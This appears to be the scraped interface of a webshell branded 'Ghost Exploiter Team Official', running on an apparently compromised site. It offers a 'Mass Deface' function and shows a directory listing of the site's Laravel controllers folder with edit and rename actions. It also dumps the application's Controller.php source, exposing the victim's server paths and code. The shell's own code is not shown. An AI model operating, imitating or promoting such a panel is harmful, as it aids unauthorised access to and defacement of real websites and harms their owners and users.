webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
aminiwrc
/
listing.aminikamanpower.com
/
app
/
Http
/
Controllers
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Admin
--
ren
Auth
--
ren
Candidate
--
ren
Front
--
ren
.DS_Store
8.004KB
edt
ren
.htaccess
0.116KB
edt
ren
Controller.php
2.035KB
edt
ren
Controllers.css
17.08KB
edt
ren
HomeController.php
0.611KB
edt
ren
NotificationController.php
0.358KB
edt
ren
VerifyMobileController.php
3.881KB
edt
ren
error_log
20.019KB
edt
ren
<?php namespace App\Http\Controllers; use App\CompanySetting; use App\SmsSetting; use Carbon\Carbon; use Froiden\Envato\Traits\AppBoot; use Illuminate\Foundation\Bus\DispatchesJobs; use Illuminate\Routing\Controller as BaseController; use Illuminate\Foundation\Validation\ValidatesRequests; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Arr; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\Artisan; class Controller extends BaseController { use AuthorizesRequests, DispatchesJobs, ValidatesRequests,AppBoot; public function __construct() { $this->showInstall(); $this->checkMigrateStatus(); $this->global = CompanySetting::first(); $this->smsSettings = SmsSetting::first(); config(['app.name' => $this->global->company_name]); config(['app.url' => url('/')]); view()->share('smsSettings', $this->smsSettings); App::setLocale($this->global->locale); Carbon::setLocale($this->global->locale); setlocale(LC_TIME,$this->global->locale.'_'.strtoupper($this->global->locale)); $this->middleware(function ($request, $next) { $this->user = auth()->user(); if ($this->user) { config(['froiden_envato.allow_users_id' => true]); } return $next($request); }); } public function checkMigrateStatus() { $status = Artisan::call('migrate:check'); if ($status && !request()->ajax()) { Artisan::call('migrate', array('--force' => true)); //migrate database Artisan::call('config:clear'); Artisan::call('route:clear'); Artisan::call('view:clear'); Artisan::call('cache:clear'); } } public function getCallingCodes() { $codes = []; foreach(config('calling_codes.codes') as $code) { $codes = Arr::add($codes, $code['code'], array('name' => $code['name'], 'dial_code' => $code['dial_code'])); }; return $codes; } }